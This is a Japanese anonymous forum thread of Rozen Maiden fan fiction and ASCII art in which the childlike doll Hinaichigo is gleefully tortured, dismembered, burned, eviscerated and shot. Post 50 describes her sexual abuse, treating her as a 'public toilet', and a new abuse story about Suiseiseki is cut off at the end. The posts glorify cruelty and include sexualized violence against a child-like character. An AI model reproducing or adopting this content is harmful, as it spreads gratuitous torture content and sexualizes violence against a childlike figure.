「雛両手なくなっちゃたの〜!許さないの〜」
自分の行い悪さに反省もせず雛苺は文句を言って来たが言ってやった。
「真紅に負けてアリスゲームの権利を失い力も弱くなったお前に何ができるんだよ!
お前をジャンクにして動けなくするのは簡単だが好きな落書きをできない苦しみを
味わえるようそのままにしてやるよ!」
そう言うと・・・
「絵が書けないなんてつまんないの〜!謝るから直してなの〜」
雛苺が泣きながら訴えた。
「雛苺の分際で俺がドールを直す術を調べているのを知っていやがったか!
仮に分かっても直してやんないよ!そのままでいるんだな!」
「ひどいの〜!悪魔なの〜!人間なら雛の手を直すなの〜!」
しつこい!悪魔とまで言いやがった!
「雛苺!まだ自分の立場がわかっていないようだな!それに!
お前の落書きを恨んでいる奴がもう一人いや一体いるんだ!
やれ翠星石!俺を満足させた暁にはお前だけ見ていてやるから!」
「了解ですぅ!大好きなマスターのためなら何でもやるですぅ」
「翠星石〜!何で雛を傷つけるマスターの味方をするなの〜!」
「翠星石の大事な鞄を何度も落書きするからですぅ!
今まで何回か仕返ししてやりましたが翠星石と同じローゼンメイデンという手前
控えめにしてやってたですぅ!ですが雛苺!お前はもうジャンクですぅ!
マスターもお前を虐待するのがお望みですから!徹底的にいじめてやるですぅ〜」


「雛、翠星石って意地悪な所はあるけど本当は優しいと思っていたのにショックなの〜」
雛苺は翠星石の言動でショックを受けていた。
「ひっひっひっ!それはチビ苺の思いすごしですぅ!
お子様であるチビ苺が翠星石の本心など分かるわけないですぅ!」
さらに追い討ちをかけるような翠星石のこの発言!それでも・・
「雛をいじめないでなの〜いじめないでなの〜!」
何度も雛苺はいじめないで発言をしまっくった。
その時である!雛苺のお腹から音がなった。
「雛、お腹すいたの〜!」
これから翠星石に虐待されると言うのにこんなことを言うとは・・・
まあ無理もない!マスターに手首を大根おろしにおろされてから何も食べていないのだ!」
「仕方がない奴ですぅ!これから虐待する前の最後の情けですぅ!
花丸ハンバーグでも食いやがれですぅ!」
どこから持ち出したが分からないが花丸ハンバーグが雛苺の前に用意された。
「やっぱり翠星石は優しいの〜!雛のお姉ちゃんなの〜!
でも食べられないのなの〜!」
雛苺は前述で書いてあるように手首から下を失っているため食べる事ができなかった。
「翠星石が食べさせてやるですぅ!そぉぉらですぅぅ!」
「あ・熱いなの〜!火傷するなの〜!」
雛苺は翠星石に花丸ハンバーグの上に顔を押し付けられた!


「どうですぅ?チビ苺!花丸ハンバーグの味は?
チビ苺はこの食べ方がお似合いですぅ!!」
「ひ・雛の顔が・雛かわいいの〜!」
焼きたての花丸ハンバーグの上に顔を押し付けられ焼けどして
醜い顔に!雛苺は発狂してしまったようだ!
「キャッハッハ!生意気なチビ苺にお似合いの顔ですぅ!
自分をカワイイと思っているチビ苺にはいいおよ仕置きになったですぅ!」
雛苺はさらに発狂!翠星石に普段言わない暴言を吐いた!
「この性悪人形め!許さないの〜!ですぅですぅってうざくてキモイの〜!」
「なっ!なんですって〜!あんたにキモイなんて言われる筋合いなんてないですぅ!
鏡を見て見なさいよ!焼け焦げた顔してジャンクのくせに〜!地獄を見せてやるですぅ!」
翠星石は元々怒りっぽい性格だがキレた!そして・・・
「あ〜!雛のクレヨン!翠星石やめろなの〜!」
「オラオラオラですぅ!お前の顔はいい落書き帖ですぅ!
ピカソ以上の奇抜で芸術的な作品にしてやるですぅ!」
雛苺の顔は○や×などが書かれているうちに焦げている部分が少しずつ崩れ
もはや原形を留めていなかった。
「キャッハッハッハ!これでもうチビ苺の得意なブリッコもできないですぅ!
だいたいお前のブリッコはムカムカするですぅ!
中の人もブリッコのイメージがついてしまって迷惑ですぅ!」
「中の人て何なのなの〜!」
「お子様には理解できない事ですぅ!」
どうやら雛苺に中の人と言っても難しかったようである。
「雛をなめるななの〜」
雛苺は翠星石に体当たりを仕掛けたが簡単にかわされ一蹴された。
「チビ苺のくせに翠星石の隙をつこうなど土台無理なんですぅ!
このこのこのですぅ!」
翠星石は雛苺を踏みつけまっくていた!その時・・・
「あなた達何をやっているの?」
「真紅!」


マスターに命令され翠星石は雛苺の虐待を続けていた。
しばらくして真紅が帰ってきた!
「真紅〜!翠星石にいじめられているの〜!助けてなの〜!」
「ち・違うんですぅ!真紅!マスターに命令されて仕方なくやったのですぅ!」
普段毒舌を言う翠星石でもさすがに真紅には頭が上がらず逆らえないようである!
「気にしなくていいわ翠星石!私も雛苺には失望しているのだわ!」
「そんな!真紅〜!」
「チビ苺!真紅も翠星石と同じ考えですぅ!もうお前をかばう者はいないのですぅ!」
今までさんざん落書きしてきた罰なのか雛苺を味方をしてくれる者は一人もいなくなったのだ
「雛苺あなたは両手首を失った時点で役立たずなのだわ!何にもできないし!
私に断らずに両手首を削ったマスターも困ったものだけど・・」
雛苺は絶望した!顔が原形を留めていないため表情じゃ分からないが
「悪かったよ!真紅!勝手に雛苺の手首を削っちゃって!ついカッとなって」
「気にしないでいいのだわマスター!雛苺の落書きは目に余るものだったのだわ!
翠星石!気にしないで雛苺の虐待を続けるのだわ!」
「はいですぅ!チビ苺覚悟しやがれですぅ!スィドリーム!」
翠星石は如雨露で植物を呼び出しツタで雛苺の体全体を絡め少しずつ締め付けを強くしていった!
「い・痛いの〜!体がきしむの〜!バラバラになっちゃうなの〜!」
「きゃはっは!いい気味ですぅ〜!」


翠星石は真紅の同意を得た事により雛苺への虐待は激しさを増していた。
スィドリームでツタ呼び出し締め付けていた。
「雛!このままじゃバラバラになっちゃうなの〜!やめるの〜!」
「やめてなんかやんないですぅ♪」
ツタの締め付けが強くなっているうちについに・・・
ギシギシ・・・

          r‐─-n=ニコ
         .{ 〈 ̄ /`ヽ、_}`>
        く ``フ′ ヽ\ト、
          /.Y´   |   l__,=ヘ
        {.ニ|二ニ|ニ二_|二ミ}    片腕がなくなっちゃたの〜
        ヾ大=三}ー=ヲ^ーイ
         {wv _ ,.-、lvへ、
              〈__ノl\_)`ヽ、`ヽ、
             l!  |  \  \ j| |ヨ
           l!.  |  _,. -‐┬-ヾノ
            ∨ァ‐T ̄[_,.ィ又_人{、
           〈ァ、」フー大′  rュァ‐'
          ヽ}〉L__)〈ノ=L{_r<.V>
            くr'K_>|      V^∧
            K_>|     V^∧
            ├‐┤     V ,ニ!
            |⌒ |        |/ |
            ヽ_,ノ      ヽ_ノ


「翠星石!以前にあった事を思い出してしまったなのだわ!
気分が悪いから早く四肢を全部もいでちょうだい!」
「真紅!すまんですぅ!チビ苺!これも全部おまえのせいですぅ!
覚悟しやがれですぅ!スィドリーム!!」
さらに翠星石はツタの締め付けを強くする・・
「真紅の気分が悪くなったの雛のせいじゃないのなの〜!」
「てめえが落書きさえしなっかたら真紅はトラウマで苦しまずに済んだんだ!」
確かに雛苺の落書きさえなければ真紅もこの場面に会わずに済んだであろう!ついに・・・
ギシギシ・・・


          r‐─-n=ニコ
         .{ 〈 ̄ /`ヽ、_}`>
        く ``フ′ ヽ\ト、
          /.Y´   |   l__,=ヘ
        {.ニ|二ニ|ニ二_|二ミ}    雛もう何もできないなの〜!
        ヾ大=三}ー=ヲ^ーイ
         {wv _ ,.-、lvへ、
              〈__ノl\_)`ヽ、
             l!  |  \  \
           l!.  |  _,. -‐┬-ヾ
            ∨ァ‐T ̄[_,.ィ又_人{、
           〈ァ、」フー大′  rュァ‐'

ついに四肢全部がもげた!
「何バカなことを言っているのですか?チビ苺!
お前は元々何もできないですぅ!」
「無様ね雛苺!薔薇乙女の恥さらしなのだわ!水銀燈と違って
あなたは正真正銘ジャンクなのだわ!」
「ハッハッハ!マスターのオレに逆らった罰だ!!」
その場でいる自分以外の全員に罵声を浴びせられた雛苺は!
「てめえら!全員ぶっ殺してやるなの〜!!」
「ハッハッハ!」
「キャッハッハッハ!」
「フフフッ!」
雛苺の暴言に誰も怒る者はいなく嘲笑していた。
「雛苺のくせに生意気な口を聞くなんて笑えるぜ!そうだろ!真紅!翠星石!」
「笑いが止まらないのだわ」
「バラバラにした瞬間を思い出せてスカッとするですぅ♪」
「そんな〜!悔しいの〜!」
その後も雛苺を完全にジャンクにせずこのまま放置してわざと文句を言わせて
楽しんでいた

            E  N  D 

49: ミーディアム@薔薇乙女:06/10/08 14:03 ID:pMHg.Two
急に雛苺を虐待したい気分になったデュードは、彼女の部屋、といっても雛苺が辛うじて入るくらいのゴミ箱から彼女をつまみ出した。
雛苺はまだ眠気が覚めず、目は瞑ったままである。
「いつまで寝てんだクズ。さっさと目を覚ませ!」
目覚まし代わりに右目に指を突っ込んで眼球を刳り貫く。
途端にあまりの激痛で雛苺が目を覚ました。
「うきゃああぁぁ!痛いの〜!!!おめめがないの〜!!!」
「黙りやがれ!」
デュードは雛苺の赤い鮮血がだらりと垂れている目に鋏を突っ込んでゴリゴリと穿った。
「んぎゃぐんぇぇぇええ!」
雛苺の右目の奥深くからは赤い血が噴出す。
「まだまだこれからだぜ」
今度はコンバットナイフを取り出し、雛苺の後頭部に突き刺した。
「ぎゃうあぁああああ!やめてほしいのぉ!あ、あた、あちゃまぎゃうぅいぇ!!!」
ナイフが脳味噌に突き刺さっているため、言語障害を起こすほど雛苺は錯乱していた。
そんなことはお構いなしにナイフで頭半分の皮膚を切り剥がした。
雛苺は左脳を外に露出しながら、もがき苦しんでいる。
「ああぁああぁあああ!!!助けて!巴!助けてぇ!!!」
「うるせえってんだろボケ!何度言わせるつもりだ!」
デュードは雛苺の左脳を踏み潰した。
赤い血とともに脳の肉片が床に勢いよく飛び散る。
「あ…ぶばべげ…なの」
もはや何を言っているのかすらわからない。
はっきりと物事を言わないとデュードとしては苦しみ具合が伝わってこないので非常に感じが悪い。
それにキレたデュードはキッチンからハンドミキサーを持ってきて、雛苺の脳の部分で固定しスイッチを入れた。
「はっきりもの言えってんだよ、片端てめえは!」
ミキサーは雛苺の豆腐のように柔らかい脳みそを粉々に粉砕していく。
「あぁああぁぁぁぁぁあ!!!や、やめ、っびゅげぶぅげえぇえ!!!」
「はっきり言えコラァ!」
流石に思考回路の結晶である脳を破壊されては雛苺も喋るようなことはできない。
それはデュードも承知していたが、彼の前では自分に従わないものはどんな理由であれ許されない。
例えそれが誰であろうとだ。

「なんだよ。もうくたばっちまったのかよ」
雛苺は涎と血を口や鼻から垂らしながら、体をビクビクと痙攣させている。
それを見ながらデュードはしまった、という顔をして頭を抱えた。
「やっちまった。順序間違えたかな。最初は体から破壊して、徐々に頭を潰してやればよかったぜ」
彼が悔いているのは雛苺を満足に苦しめられなかったことだ。
彼女がこのように何も感じなさそうな廃人状態では体をどれだけ痛めつけようが効果がないではないか。
「まあこいつは人形だ。脳が壊れたくらいでイカれるわけねえよな」
デュードはプラス思考に考えると、今度は今から雛苺をどう痛めつけようか考え始めた。
「とりあえずミイラ化するにあたって、体ん中綺麗にしてやらねえとな」
そう言ってコンバットナイフを雛苺の頭から抜き取ると、彼女の衣服を剥ぎ取り、腹の中心部分辺りにナイフを突き刺した。
「あぶにゅあああぁぁあああ!」
雛苺が白目をむいて叫ぶ。
「うるっせえんだよ!しかも気持ち悪い顔しやがって!黙ってろ!」
鉄パイプを喉に突き刺し首を貫通するまでねじ込むと雛苺は黙り込んだ。
そして再び作業に取り掛かる。
ナイフで腹を股間の割れ目に到達するまで引き裂き、肉を剥ぎ取ると綺麗な内臓が姿を表す。
「人形なのに綺麗な臓物してるじゃねえか。こいつはいい値で売れるぜ。」
デュードはその臓器のうち、まずは長く伸びた小腸と大腸を掴み、勢い良く引きちぎった。
「んぎゅああぁぁぁぁああああ!!!!やめてなのおぉぉぉおおお!!!!」
「なんだお前。まだ人語を話せたのか。なら心行くまでグチャグチャにしてやるぜほらほらぁ!」
小腸を引きちぎると、今度はその他の臓器をナイフで切り裂いていく。
「あうぅぅぅんんががああああああああ!!!」
デュードの顔は臓器から飛び散る血で真っ赤だ。
「ハッハッハァ!次は呼吸をできなくしてやるぜ!」
今度は胸を切開し、二つの肺に伸びる管を切断し、臓器自体を取り出す。
すると雛苺の首から伸びた管からは空気がスースーと外に漏れていく。
そして彼女の顔色も苦しくなってきている。
「はあはあはぁ、い、息が、苦しいの」
「人形なのに息するのかよ。初めて知ったぜ」
「うぅ、苦しいの!ヒナの体返して!」
「今楽にしてやるぜ」
そう言って最後の仕上げに入るデュード。
ショットガンを構え、照準を心臓に合わせる。
「あばよ!哀れなゴミクズ!Have A Nice Day!」
トリガーを引くと、ショットガンの弾は雛苺の心臓を粉々にした。
散弾した弾は他の臓器も肉片に変えた。
そして雛苺も無残な顔をしながら息絶えた。
だが、これで終わったわけではない。
デュードは雛苺の臓器をすべてゴミ袋に詰めて、『生ゴミ』として処分し、残った『ガワ』だけはスライスして冷凍庫に保存した。
「なぜかって?適当に牛肉として売れるからさ。ヒィッハッハッハ!」

The End

50: ミーディアム@薔薇乙女:06/10/08 14:06 ID:pMHg.Two
糞苺は気持ち悪い
糞苺は性格が悪い
糞苺は臭いし不潔だし醜い
糞苺は日本語が不自由だ
雛苺は泣き虫だから虐待したくなる。
糞苺は強情だから虐待したくなる
糞苺は強情だから虐待して、矯正しなければならない
クソ雛苺は役立たずのくせに自己主張だけは一人前以上。
その上性格はとんでもなく強情。
まさに嫌われ、虐待されるだけのために存在しているようなもの。
しかしこんなクソ雛苺でも性欲処理ぐらいには使える。
股間にドリルで穴を開けられた上、穴の直径を遙かに上回る肉棒を一日何万回も無理やり挿入されて
激痛と恐怖の中をのたうちまわるクソ雛苺。
一年365日、一日も休むことなく公衆便所として使われ続けるクソ雛苺の地獄の日々。
クソ雛苺は存在自体が誤りなのだから当然と言えば当然なのだ。
どれ程苦しもうとも決して死ぬことの出来ない状況の中で、阿鼻叫喚の苦しみを存分に味わうがよい。

51: ミーディアム@薔薇乙女:06/10/08 15:01 ID:pMHg.Two
その日の朝、デュードは二日酔いで頭を押さえていた。
「いってぇ、すげー二日酔いだけど、仕事は行かなくちゃならねえよな」
ベッドからガンガン唸る頭と動くのもやっとの体を起こして立ち上がろうとする。
が、どうも足腰の筋力に支障があるらしく、ベッドに腰を下ろしてしまった。
「うげ、こいつはまずいなあ」
さらに劈くような音が響く脳内。
「今日はついてねえぜ」
そんな独り言を漏らしていると、背中に妙な重量感が伝わってきた。
それは頭の上にまで登ると、満面の笑みを浮かべた。
「えへへ、デュード登りぃ〜」
雛苺である。
ただえさえ気分が悪いというのにこの空気の読めなさは、デュードからしてみれば殺すに値する。
そしてそれを実行してしまうのもまた彼の特色である。
「うゆ?どうしたの?」
デュードが無反応なので少し疑問に思う雛苺。
「おいおい、俺は飲みすぎて気分が悪いんだぜ?こいつは黙っちゃいられねえ」
デュードは頭の痛みが忘れるほど雛苺を殺したいという衝動に駆られ、額に浮き出た血管は今にもブチ切れそうだった。
「う〜、何なんのかわかんないの〜!」
雛苺はデュードが怒っている意味がわからず自分自身も相手にされてないと思いデュードの頭の上で暴れた。
すると次の瞬間、雛苺は髪の毛を鷲掴みにされ、地面に投げつけられた。
「うぅ〜、痛いの〜」
頭から落下したため、意識が朦朧としているところ、デュードは雛苺の右手首をねじ折り、引き千切った。
「ひぎゃあああ!」
喚き声を上げる雛苺だが、デュードの虐待はさらに過激化する。
「クソが。俺は今二日酔いでイライラしてるってのに、お前は邪魔しやがって!」
「うゅぅ、ごめんなさいなの」
痛みと後悔の念で涙を流す雛苺。だがその程度でデュードが許したり陵辱をやめたりするはずがない。
「てめえはやりたいようにやってんだ。俺も好き勝手にやらせてもらうぜ!」
デュードは腰のホルダーからシグ・ザウエルP228を取り出すと、即座に雛苺の胴体目掛けて五発発砲した。
そして彼女に泣き出す暇も与えず胸倉を掴んで持ち上げ、顔面を素手で殴りまくった。
雛苺の顔が崩れるほど殴った後、壁に向かって投げ捨てた。
「びゃあああああん!痛いのぉ〜!ぎゅえぶ!」
泣き叫んだ途端に今度は腹に釘バットで思いっきり殴られる。
「ちったあ黙れってんだ!」
デュードは雛苺を足で踏みつけて押さえつけ、手首から下のない雛苺の右手を引っ張る。
「やめてぇ!そんなことしたら千切れちゃうのぉ!痛いからやめてほしいの〜!!!」
「クズは黙ってな!」
顔面に蹴りを入れ、その反動を利用して腕を引っ張る。
畑から野菜を引っこ抜くような動作で引っ張るが、頑丈に接合されているためか、なかなか抜ける気配はない。
「クソが。まだまだいくぜ!」
何度も雛苺の顔や腹を踏みつけながら腕を引っ張る。
その度に雛苺は苦しそうな顔をする。
「お、もう少しじゃねえか」
その言葉どおり、引っ張るたび雛苺の腕はギシギシと音が鳴り、先程よりも関節の接合具合が緩くなってきているのがわかった。
「あうぅ、は、外れちゃうの!もうやめてほしいの!」
雛苺は涙ながらに必死で訴えるがデュードは耳を貸さない。
そして次にデュードが引っ張った瞬間、彼女の腕はギチギチと音を立てて引き千切れた。
「びゃあああぁあぁぁああああ!!!」
「うるせえってんだろクズが!」
デュードは鉛弾を雛苺の腹にぶち込むと、彼女はぐったりして黙り込んだ。

52: ミーディアム@薔薇乙女:06/10/08 15:03 ID:pMHg.Two

      _
    ,',i><iヽ
    /((ノノリノ))
   ((ミi!゚ ヮ゚ノミ)) あほなカナじゃ雛の
    ⊂)夲!つ     手足はもぎ取れないの〜!
     (ム!,,jム)
     し'ノ

よし、あとは頭だけだ!
      _
    ,',i><iヽ
    /((ノ。リノ))
   ((ミi!*々゚ノミ)) あー・・・うー・・・
     )夲!
     (ム!,,jム)
    ~~~~~~   ⊂つし'ノ



頭は髪の毛を束ねて振り回したら根元からスポッと抜けるだろw

もっとも、頭だけになっても「雛、かわいいの〜」と吠え続けるだろうがwww
      _
    ,',i><iヽ
    /((ノ。リノ))
   ((ミi!*々゚ノミ)) 雛、かわいいの〜
.    ~~~~~~   雛を侮辱した香具師は許さないの〜

そうならないために口の中に溶けた鉛を流し込んで冷やし固めておく必要があるな。
そうすれば、「首だけクソ雛苺」になっても腐った減らず口を叩くことは出来ないだろう。
あと、一切の感情表現を封じる為に眼球をくりぬいてセメントを流し込んでおくことも必須。

首だけになって目も見えず口も利けなくなってもゴロゴロ転がったり飛び回ったりして迷惑だから、
後始末は麻袋に詰め込んで活火山の噴火口にでも投げ捨てるのがベストだろう。

そ れ で も ク ソ 雛 苺 は 死 な な い だ ろ う け ど な

53: ミーディアム@薔薇乙女:06/10/08 15:03 ID:pMHg.Two
雛苺の前にぽとりと落下してきたリング状のドーナツ。
「うゆ?ドーナツ?」
周りには誰もいないことを確認すると雛苺はそれを貪り食った。
「ふぅ、美味しかったの〜」
そこへタイミング良く(悪く?)デュード登場。
「おい雛苺、なにドーナツ食ってるんだ?」
雛苺は焦りながら答えた。
「え?雛は何も食べてないの」
口元がドーナツの残りカスで汚れていることを見れば食べたのは一目瞭然。
これも子供の無邪気さかと思いつつデュードはそれを黙認した。
「いや、別にいいんだぜ。あれ俺も食べる気しなかったし」
「そ、それは良かったの。ありがとうなの」
「いや、礼には及ばないぜ」
それから数分後。
「う〜、なんだか気分が悪いの〜」
雛苺の顔は青ざめている。
デュードはというとそんなことはお構いなしにソファーに座って雑誌を読んでいる。
「ゲロなら外で吐けよ」
雛苺の異変はさらに激しくなる。
「うぅ、なんだか吐きそう…あうぅ、あうげぇえあああぁあ」
そしてついに嘔吐してしまった。
さらに体も痙攣し始める。
ゲロの上に腹這いになりながらも苦しみを堪えてデュードの方へ手を伸ばす。
「デュード、助けてほしいの…」
息を荒くし、瀕死の状態で助けを求めるが、デュードは無視している。
「あぐぅぁああ!」
やがて両腕がボコボコと腫れ出した。そしてそれはいきなり破裂した。
「あぁぁあああ!」
彼女の腕は木っ端微塵、風船のように弾けとんだ。
「掃除しとけよ」
デュードは静かに言った。
雛苺の異変はまだ続く。
今度は胴体が腫れ始めた。
「はぅ!あ、っひ!ぃ!っひ!」
痙攣し始めた体に合わせるように口から声が漏れる。
「ぅ゛ぅ゛う゛ぅ゛う゛う゛う゛あ゛ぁ゛ぁ゛あ゛あ゛!!!」
最後は悲鳴とともに顔も体も腫れだし皹が入り、粉になって崩れていった。
デュードが本を下ろし、ちらりと見ると、そこには今にも消えようとする苦しそうに涙を流す雛苺の顔があった。
それもすぐに粉となってしまった。
雛苺が消えると、デュードは立ち上がる。
「やれやれ。後片付けしとけっていったのに。仕方のないやつだぜ」
そう言ってデュードはポケットから赤い液体の入った注射器を取り出した。

The End

54: ミーディアム@薔薇乙女:06/10/08 15:04 ID:pMHg.Two

       ジュッ!!

  ,lヽヘ/ヽ       _     _
<     へ     ,i><iヽ'´  、ヽ
/ ノlノ^^ノノリ>、   /((ノノリノ)ハ))l  !
ヾcリ口∀口ゝ   (从#`Дノ、ー゚j|lレ'
   (ll^Y^l⊃=====□_リ(っと二ノ}
   |._ハ_.|      ` ーθ〈|l_ヽ>
   ゝ' ゝ'             しし



             \ ブオワアァァァーー /

              ( ヽ    ⌒)⌒ )
                (  )  丿 )⌒丿⌒)
.                 (  ノ ノノ ノ )
 /ヽへ/l、           (( 人从从人((             _ 
〆     >          ))人人从人))            '´    ヽキャアァァァ!!
<レl从^^从`ウワワァ       (:::从(ノノリノ)) ヒナカワイイノォォォォォ   i  iノリ)))〉
<口∀口レu/         (::人ミ;;゚Д゚'从)           ≡ヽ!l|.゚ 0゚ソ!
⊂l^Y⊂ll≡   カラン     ::::从,,.;;;:,.,,..::)):::::)            ≡/つつ
  |._ハ_人≡   | | |从   (:: ::人:::人从::::)):::::)          ≡く/_|l〉
  ゝ' ゝノ≡  ======□ (::::::::( )(人从人))           ≡し'J

55: ミーディアム@薔薇乙女:06/10/08 15:05 ID:pMHg.Two
難燃性素材にアスベストを織り込んだ特殊繊維製のオムツに船舶用高粘度B重油を滴り落ちるほど
滲み込ませて、ドレスをビリビリに引き裂いて素っ裸にしたクソ雛苺に装着。
燃焼途中で脱落せぬよう鋼鉄製の超細型コイルにてしっかりと固定しガスバーナーで点火。
JR渋谷駅前にて拘禁を解き明治通りを走らせる。

オムツから不気味なオレンジ色の炎をメラメラ燃え上がらせ、激しい黒煙を振りまきながら短い足で
全力疾走するクソ雛苺。
「ああああ熱いのおおおおおおおおおお〜」と白目を剥いて叫びながら、
「雛、なんにも悪いことしてないの〜」
と、完全に誤った自己認識に基く主張を行なって恥じることのないクソ雛苺の醜悪な姿。

ゲラゲラ哂いながら携帯を向ける女子高生。クソ雛苺に向い指を指して子供を諭す若い母親。
空缶やペットボトルを投げつけるDQN中学生。更には「売国人形」を轢き潰そうと迫る街宣車。

尻に火の点いたクソ雛苺、表参道方面へ向かって走る、走る、走る。
なるほど弱いだけのことはある。逃げ足だけは天下無敵だ。
自らを励まそうとしてか或いはオムツの燃える熱さに耐えようとしてか、無意識に
「あいとっ、あいとっ」と泣きながら自らに掛け声をかけるクソ雛苺の姿は実に陳腐だ。

ところでクソ雛苺をはじめドールの体組織は堅固とは言い難い。
それ故オムツを装着されていた臀部付近が竹下通りに差し掛かった折に崩壊してしまう。
高熱と高速運動の負荷に耐えられなかったのだ。

脚を失い、松明(たいまつ)の如く燃えるオムツを回転させながらクレープ屋の前を転げまわる
クソ雛苺。
それでも一生懸命「あいとっ、あいとっ」
修学旅行の中学生に蹴飛ばされても「あいとっ、あいとっ」
佐川急便に轢き潰され、ぺしゃんこにされても「あいとっ、あいとっ」

雛ちゃんほんとに強情だねえ。
だから苛められるんだよ。

56: ミーディアム@薔薇乙女:06/10/08 15:06 ID:pMHg.Two
                    ((
                     )ノ  ))
                     i|
                  ,',i><iヽ
                  /((ノノリノ)) トォモエェェェェ!!
               ・。゚((ミi!T 0゙ノミ))・゚。  タスケテナノーーー!!
                   ミ三三シ   ウニューー!!!
                   ミ三三シ
             (;:⌒     し'ノ
                      (;:⌒;  ⌒;:)
  ∩且つ         ,--‐‐‐o−‐−‐−‐、
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                    i|
                   ,',i><iヽ
                  /((ノノリノ))
                ・。゚((ミi|!゚0゚i|ノミ))・゚。
                   ミ三三シ
                  とミ三三シつ
  ∩且つ从       ,--‐‐‐o−‐−‐−‐、
  ( ・x・)         |ヽ、o,;;:O;:,.;:。;:゚p;:;:;Oノ,
.  く| Y|>         |   ̄ ̄ ̄ ̄ ̄~´ |
   | 人i         .| 从;:. 人 从ノi!W/ .|
   レ| ||         ==ヾ;:;イ人:;:从;:;:シ;:;从ノ===
   (_).)         //~//~|_|~i!_| i!_i!ヾヽ
                    ウユュュュュュュ!!!
                   ゚。゚
                  `;:,;!ヾ。ノi!。゚”  。゚
  ∩且つ        ゚。“-‐';o;:从,;!;'Y゚,;!-,;、
  ( ・x・)         |ヽ、`,;从W:,.人。゚O__ノ
.  く| Y|>         |  。゚ ̄;!"`゚。 ̄`;:.。.|
   | 人i         .| 从;:. 人 从ノi!W/ |
   レ| ||         ==ヾ;:;イ人:;:从;:;:シ;:;从ノ===
   (_).)         //~//~|_|~i!_| i!_i!ヾヽ

               (;:⌒  カワイイノー!   ⌒:;:)
                (;:;"   ヒナカ・・・・ワ・・・  ;:)
  ∩且つ         ,--‐。o:。i><i。゚:‐;‐、
  ( ・x・)         |ヽ、`,:从((ノ。リ从:o;:ノ
.  く| Y|>         |  。゚ ̄;!"`;:;: ̄`;:.。.|
   | 人i         .| 从;:. 人 从ノi!W/ |
   レ| ||         ==ヾ;:;イ人:;:从;:;:シ;:;从ノ===
   (_).)         //~//~|_|~i!_| i!_i!ヾヽ

            (;:⌒      ブクブク…         ⌒:;:)
                (;:;"     。゚     ;:)
  ∩且つ         ,--‐。o:‐'i|l‐i!::‐‐;:-、
  ( ^x^)         |ヽ、`,:从i><i゚从;:;ノ
.  く| Y|>         |  。゚ ̄;!゚~~"~ ̄`;:。|
   | 人i         .| 从;:. 人 从ノi!W/ |
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57: ミーディアム@薔薇乙女:06/10/08 15:07 ID:pMHg.Two
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 グチャ ゙`。厶-;゙`- ;;゙_       |    _ハ|(´⌒(´⌒
     , ´;:`7.;:'゙/ /7 ‐,- ___|__ -‐1 リ}
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      i ノ'。\@_____        ヽi゚ -゚・リノ <口 _ 口レu/
    /ヾ* 々゚ノ;:;:;:;:;;:;:;:;:;:;:;/\       ⊂^Y^|U  (ll^Y^l)
  /| ̄∪ ̄∪ ̄ ̄ ̄ ̄|\/.       /二二ヽ   |._ハ_.|
    |拾ってください   |/   ;:<i   U U     ゝ' ゝ'
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         ヾ* 々゚ノ/l、
   /⌒⌒ヽ 〆∪ヽ∪  >
  /ノノノ ) ) )<レl从^^从`、
  ヽi゚ ー゚・リノ <口ヮ口レu/
  ⊂^Y^|つ  (ll^Y^l)
   /二二ヽ   |._ハ_.|
    しヽ.), , , ,  ゝ' ゝ', , , ,
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            ;:'゙゙`             -完-

58: ミーディアム@薔薇乙女:06/10/08 15:07 ID:pMHg.Two
  ___
 / ∧∧ ヽ
 | (´・ω・)|          グチャ
 | | つ¶⊂| "        /  ,',i><iヽ
(二二二二二)  ビー    ( /((ノ;:リノ)) あ゛ん゛ま゛ーーーー!!!!!
 | ◎  ((二二二二二二 <〈《(:;);々゚;);;
 ヽ_________/        ヘ  ;、'。. ;.;:*;
                 / ⊃ ヽ
                 ((⌒)__つ

     ___
    / ∧∧ ヽ
    | (´・ω・)|
    | | つ¶⊂| "
  (二二二二二)            っ
 〜 | ◎  ◎|       ,',i>;,';,'ヽ  っ ゔま゙ぁ・・・
 〜 ヽ_________/.        /((゙;;。リノ))
                〈《(,,゙;,々`;);;
                 / つ;,',..,つ
             〜  (,,゙;ヽ;.,ノ
                 し'(ノ

     ___
    / ∧∧ ヽ
    | (´・ω・)|
    | | つ¶⊂| "             ボウッ
  (二二二二二)    ビー           ) )
 〜 | ◎  ((二二二二二二二二二二二(  ((<i (
 〜 ヽ_________/                ) )):。从从 )  あ゛ん゛ま゛ぁぁっぁぁぁあ!!!!
                         ノ从)*:;々`:;从ノノ
                        (( ((从从从ゞ
                         )从从从iノノ
                        (((从从从从 )
     ___
    / ∧∧ ヽ
    | (´・ω・)|
    | | つ¶⊂| "
  (二二二二二)    ビー           ) )
 〜 | ◎  ((二二二二二二二二二二二( ((从 あ゛ぁ゛ぁ゛あ゛ぁ゛ぁ゛ぁ゛あ゛あ゛あ゛!!!
 〜 ヽ_________/                )∩))::;从 )   メラメラ・・
                         ノ从)*:;々:;从ノノ
                        (( ((从从ゞつゞ
                         )从从从iノノ
                        (((从从从从 )

     ___   
    / ∧∧ ヽ
    | (´・ω・)|
    | | つ¶⊂| "
  (二二二二二)    ビー         ) )
 〜 | ◎  ((二二二二二二二二二二二(( ((从
 〜 ヽ_________/               ノ )从ノノ
                         (( ((从从
                        )从从从iノノ
                       (((从从从从 )

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                          | (´・ω・)| ♪
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                       〜 ヽ_________/

       ゙ 。 ;;,;;゙:',゙:,;;;・.,,,....゚
        ',゙ ;":゙ ;":゙゚  ;":゙
           ゙:,;;,

59: ミーディアム@薔薇乙女:06/10/10 01:48 ID:R.Vgy/A6
残業から開放されクタクタになって部屋の明かりに手を伸ばす。
カサカサッ!何だなンだ?ん?見覚えのある二股オサゲ巻き毛、
もしかしてッ!以前カンブなきまでに叩きのめしたはずのクソミドリ!
また性懲りもなく俺の部屋に不法侵入の上、買い置きしたメロンパン全部完食しやがった!
「はぁ、ヌシのご帰宅ですゥ 遅かったですゥ
このメープルメロンパンおいしいですぅ!でものりの作るプリプリハートのオムライスには
ぜぇ〜んぜんかなわないですぅ〜〜!」
こ、このクソミドリ!一度ならず二度までも!早速俺の心の闇に虐待魂の黒い炎が点火した。
「はぁ〜、相変わらずロックとかメタルなんてダサダサなもん聴いてるですか?
こんなのは音楽のゴミですぅ!デープパープルなんて聴いてたら脳みそがジャンクになるですぅ!」
そんな無茶苦茶をのたまいつつクソミドリはディープ・パープルやツェッペリンのCDを
蹴飛ばしやがった。・・・・貴様こんどこそ赦さねえ。俺の虐殺の漆黒の炎は一気にバーニングヒートした!

「ふふ〜んですぅ!おまえの同じ手は二度とつうようしないですぅ〜!」
オサゲを掴もうとした俺の手をスルリとかわすクソミドリ。だが俺はニタリと
